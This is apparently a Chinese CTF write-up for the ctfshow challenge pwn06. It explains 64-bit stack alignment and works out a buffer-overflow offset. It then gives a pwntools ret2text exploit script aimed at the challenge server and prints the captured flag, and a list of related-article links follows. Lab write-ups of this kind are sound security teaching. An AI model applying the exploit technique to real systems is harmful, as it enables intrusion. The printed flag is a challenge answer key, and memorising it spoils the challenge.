pwn06(关于64位程序堆栈平衡的处理)

简介: pwn06(关于64位程序堆栈平衡的处理)

堆栈平衡:

当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

简单检查一下,发现是64位程序

同样放进IDA反编译main函数,得到伪代码

只有一个welcome函数,双击跟进

存在栈溢出

我们开始找需要利用的函数的地址(函数开始的地址)

400577

对于32位程序我们只需要这个地址;

但是对于64位程序,我们还需要找 lev 的地址或者该函数结束即 retn 的地址

40057B 或者 40058E 都可以,构造payload时将该地址放在函数开始地址之前

我们再找距离 (造成栈溢出的函数到栈底的距离)

32位里我们找的ebp,64位里叫rbp

这里是C,十六进制的C也就是12

我们前面说过,距离还需要再加上栈底的字节大小,32位是加4,64位是加8

同样这里主函数没有输出东西,因此不需要调用接收函数

编写exp脚本:

from pwn import *
p =remote("pwn.challenge.ctf.show",28138)
payload = b"a" * (0xC+8)+ p64(0x40058E) + p64(0x400577) 
p.send(payload)
p.interactive()

#使用40057B也是可以的,前面也可以将结果加出来,C就是12,12+8=20,换成16进制就是0x14

使用python运行脚本

执行命令拿到flag

ctfshow{91ec74ab-3b94-4848-8495-2889971c5a1b}

目录
相关文章
|
安全 开发工具 git
CTF工具隐写分离神器Binwalk安装和详细使用方法
CTF工具隐写分离神器Binwalk安装和详细使用方法
3970 0
|
存储 Linux Android开发
Volatility3内存取证工具安装及入门在Linux下的安装教程
Volatility 是一个完全开源的工具,用于从内存 (RAM) 样本中提取数字工件。支持Windows,Linux,MaC,Android等多类型操作系统系统的内存取证。针对竞赛这块(CTF、技能大赛等)基本上都是用在Misc方向的取证题上面,很多没有听说过或者不会用这款工具的同学在打比赛的时候就很难受。以前很多赛项都是使用vol2.6都可以完成,但是由于操作系统更新,部分系统2.6已经不支持了,如:Win10 等镜像,而Volatility3是支持这些新版本操作系统的。
2310 0
|
存储 安全 Unix
【内网安全】Win&Linux&内存离线读取&Hashcat破解&RDP&SSH存储提取
【内网安全】Win&Linux&内存离线读取&Hashcat破解&RDP&SSH存储提取
244 0
|
9月前
|
数据建模 网络安全
阿里云SSL证书不同类型DV、OV和EV如何收费?单域名和通配符SSL价格整理
阿里云SSL证书提供免费和收费版本,涵盖DV、OV、EV多种类型。收费证书品牌包括DigiCert、GlobalSign等,价格从238元/年起。免费SSL证书由Digicert提供,单域名有效3个月,每个实名主体每年可领取20个。具体价格和详情见阿里云SSL官方页面。
|
11月前
|
存储 安全 Java
🌟Java零基础-反序列化:从入门到精通
【10月更文挑战第21天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
261 5
|
算法 数据库 数据安全/隐私保护
铜锁探密,SM3杂凑算法加强至pro版
铜锁探密,SM3杂凑算法加强至pro版
387 0
|
人工智能 安全 PHP
PHP特性之CTF中常见的PHP绕过
PHP特性之CTF中常见的PHP绕过
1102 1
|
安全
[MoeCTF 2022]babyfmt-入土为安的第十九天
[MoeCTF 2022]babyfmt-入土为安的第十九天
156 0
|
存储 算法 图形学
【计算机图形学】实验二 用扫描线算法实现多边形填充
【计算机图形学】实验二 用扫描线算法实现多边形填充
806 2